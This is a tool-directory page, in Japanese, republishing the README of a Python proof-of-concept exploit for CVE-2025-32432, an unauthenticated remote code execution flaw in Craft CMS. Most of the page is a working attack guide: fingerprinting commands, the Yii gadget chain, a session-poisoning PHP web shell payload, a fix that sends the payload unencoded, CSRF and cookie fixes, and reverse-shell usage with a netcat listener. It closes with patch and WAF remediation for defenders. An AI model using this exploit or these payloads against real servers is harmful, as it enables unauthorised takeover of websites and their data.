Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-32432 — CVE-2025-32432を悪用するPython PoC。Yii DIガジェットインジェクションを介したCraft CMSの未認証RCEで、assetIdスキャン、リバースシェル、および修復ガイダンスを備える。 | Kitploit
ツール/GitHubGitHub/si13nttt/cve-2025-32432
防御ツール脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストインシデントレスポンスリモートアクセスツールペイロード開発
GitHubsi13nttt/cve-2025-32432

CVE-2025-32432

CVE-2025-32432を悪用するPython PoC。Yii DIガジェットインジェクションを介したCraft CMSの未認証RCEで、assetIdスキャン、リバースシェル、および修復ガイダンスを備える。

19日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2025-32432 — Craft CMS <= 5.6.16 未認証RCE

深刻度: 緊急 (CVSS 10.0) 認証要否: 不要 影響範囲: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 修正版: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


特定 (対象が脆弱かどうかの確認方法)

悪用する前に、対象が脆弱なバージョンの Craft CMS を実行していることを確認する。

ステップ 1 — Craft CMS のバージョンをフィンガープリントする

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

ステップ 2 — 脆弱なエンドポイントをプローブする (匿名アクセス確認)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'
  • HTTP 400 = エンドポイントが存在する (Craft が動作中)、CSRF が欠落
  • HTTP 404 = Craft ではない、またはパスが誤っている
  • HTTP 500 = ガジェットが発火 (assetId が有効、エンドポイントに到達可能)

ステップ 3 — assetId スキャンで確認する

python3 exploit.py -u http://target/cms -c "id"

出力に uid= が含まれていれば、対象は脆弱であると確認され、RCE が達成されている。


根本原因

AssetsController::actionGenerateTransform() は allowAnonymous として宣言されており、認証なしで到達可能になっている。ユーザー制御の handle パラメータをそのまま Yii::createObject() に渡している:

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Yii の DI コンテナは、許可リストなしで 2 つの特別な配列キーを処理する:

キー動作
__class宣言された型の代わりにこのクラスをインスタンス化する
__construct()これらの値をコンストラクタ引数として渡す

ガジェットチェーン:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

セッションファイルポイズニングがループを閉じる: PHP は GET パラメータをそのまま /tmp/sess_<CraftSessionId> に保存する。そこに <?=shell_exec($_GET['cmd']);exit;?> を仕込むことで RCE が成立する。


既存の公開 PoC が失敗する理由

1. URL エンコーディングが PHP ペイロードを破壊する

根本的な問題: Python の requests は送信前に <、>、?、= をエンコードする。PHP のセッションハンドラはパーセントエンコードされたバイト列を保存する — 実行可能な PHP ではない。

エンコードされたペイロード (壊れている — requests が実際にワイヤ上に送信するもの)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.

エンコードされていないペイロード (修正済み — モンキーパッチ後に送信するもの)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.

修正: HTTPConnectionPool._make_request — TCP 直前の最後のポイント — をモンキーパッチし、そこで urllib.parse.unquote() を呼び出す:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. セッション Cookie 名が誤っている

標準: PHP のデフォルトセッション Cookie は PHPSESSID である。Craft CMS はアプリケーション設定でこれを上書きしている:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

これは、ディスク上のセッションファイルが /tmp/sess_<PHPSESSID> ではなく /tmp/sess_<CraftSessionId> であることを意味する。

Cookie の比較

プロパティPHP デフォルトCraft CMS
Cookie 名PHPSESSIDCraftSessionId
セッションファイル/tmp/sess_abc123/tmp/sess_abc123
読み取り方法session.cookies.get("PHPSESSID")session.cookies.get("CraftSessionId")
誤った場合の挙動None が返るitemFile パスが存在しないファイルを指す
結果エクスプロイトがサイレントに失敗エラーなし — require() が単に失敗する
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

正しい Cookie 名は、任意の Craft ページにアクセスした後にブラウザの DevTools を調べるか、Set-Cookie レスポンスヘッダを確認することで検証できる:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. トリガーリクエストに CSRF トークンが欠落している

Craft はすべての非匿名 POST アクションで CSRF トークンを検証する。トークンを省略すると 400 Bad Request が発生する。

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

比較表

問題ログポイズニング PoCセッション (誤った Cookie)セッション (CSRF なし)本 PoC
URL エンコーディングN/A (User-Agent)壊れている壊れている修正済み モンキーパッチ
Cookie 名N/A壊れている PHPSESSID壊れている PHPSESSID修正済み CraftSessionId
トリガー時の CSRFOKOK壊れている修正済み
古いログ exit;壊れているN/AN/AN/A
/cms プレフィックスで動作壊れている壊れている壊れている修正済み

使用方法

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

修復

対応詳細
Craft CMS のアップグレード3.9.15 / 4.14.15 / 5.6.17 は handle が ImageTransformerInterface を実装していることを検証する
Yii2 のアップグレード2.0.50 は Component::__set における __class インジェクションをブロックする
WAF ルール/actions/assets/generate-transform へのリクエストボディ内の __class または __construct() をブロックする

修正 / 緩和 (ブルーチーム運用ガイド)

パッチ表

ブランチ脆弱修正済み
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 – 5.6.165.6.17+

ステップ 2 — 脆弱なコードを特定する

cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php

actionGenerateTransform() メソッドは allowAnonymous とマークされている — つまり 認証前に実行される。handle パラメータはクラス許可リストなしで Yii::createObject() に直接渡され、yii\rbac\PhpManager ガジェットチェーンを可能にする。


ステップ 3 — 修正を適用する (いずれかのパスを選択)

パス A — 修正済みバージョン (5.6.17) にアップグレードする

# 1. Verify the package integrity
cd /opt/vendor-packages
sha256sum -c craftcms-cms-5.6.17.tar.gz.sha256

# 2. Inspect the diff against current install
tar xzf /opt/vendor-packages/craftcms-cms-5.6.17.tar.gz -C /tmp
diff -u vendor/craftcms/cms/src/controllers/AssetsController.php \
         /tmp/craftcms-cms-5.6.17/src/controllers/AssetsController.php

# 3. Backup current version (rollback point)
cd /var/www/craftapp
cp -a vendor/craftcms/cms ~/cms-5.6.16.rollback
ツールをダウンロード